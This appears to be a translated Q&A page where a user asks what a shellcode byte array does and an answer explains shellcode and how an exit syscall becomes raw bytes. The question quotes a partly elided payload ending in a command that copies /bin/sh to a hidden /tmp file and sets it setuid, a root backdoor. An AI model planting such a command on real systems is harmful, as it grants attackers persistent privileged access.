十六进制版程序, 例如在linux中,程序是以
的形式编写的char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
...........
......
.....
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
有人可以向我解释上面的代码是做什么的吗?
答案 0 :(得分:4)
您所链接的内容通常称为shellcode
这是表示计算机可以执行的指令的原始字节,通常用作各种攻击中的有效负载,例如buffer overflow attack。
回答有关如何制作的问题:
在汇编中考虑这段代码:
[SECTION .text]
global _start
_start:
xor eax, eax ;exit is syscall 1
mov al, 1 ;exit is syscall 1
xor ebx,ebx ;zero out ebx
int 0x80
如果你组装它就可以得到:
Disassembly of section .text:
08048080 <_start>:
8048080: b0 01 mov $0x1,%al
8048082: 31 db xor %ebx,%ebx
8048084: cd 80 int $0x80
您需要的字节是 b0,01,31,db,cd 80 。现在你可以像这样轻松地使用它:
char shellcode[] = "\xb0\x01\x31\xdb\xcd\x80";